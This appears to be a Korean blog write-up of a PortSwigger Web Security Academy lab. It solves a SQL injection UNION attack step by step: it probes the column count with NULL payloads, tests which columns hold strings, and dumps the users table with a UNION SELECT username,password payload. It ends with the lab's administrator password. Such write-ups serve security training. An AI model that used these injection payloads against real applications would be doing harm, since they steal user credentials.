[PortSwigger Web Security Academy]Lab: SQL injection UNION attack, retrieving data from other tables write up

zzsla·2023년 7월 7일
0
post-custom-banner

문제 정보

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs.

The database contains a different table called users, with columns called username and password.

To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.

문제

lab에 들어가면 가상 shop 사이트가 나온다.

분석

category filter에 SQL injection 취약점이 있다.
데이터베이스에 users테이블에 username, password라는 columns이 있다.
목표
administrator이름을 가진 사용자로 로그인한다.

먼저 category부분에 취약점이 있다고 하니까, burpsuite repeater를 이용하여 SQL injection UNION 공격으로 null값을 하나씩 넣으면서 columns 개수를 확인한다.

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

null을 넣어서 확인하면 columns 개수가 2개라는 것을 알 수 있다.
'+union+select+null,null--

이번에는 columns에서 어느 부분이 문자열 데이터로 나올 수 있는지 확인한다.

' UNION SELECT 'a', NULL--
' UNION SELECT NULL, 'a'--

문자열 데이터를 넣어서 확인해 보면 둘 다 문자열 데이터이 나올 수 있다.
'+union+select+'a','a'--

데이터베이스에 users테이블에 username, password라는 columns이 있으니까 다음 페이로드를 burpsuite proxy에 넣어서 보내고 intercepte를 끄고 사이트를 확인하면 administrator의 password를 알 수 있다.
'+union+select+username,password+from+users--

My account에 들어가서 administrator로 로그인하면 문제가 풀린다.
administrator, iiqoumi6jcfutkbc3bu9

profile
[README]newbi security hacker :p
post-custom-banner

0개의 댓글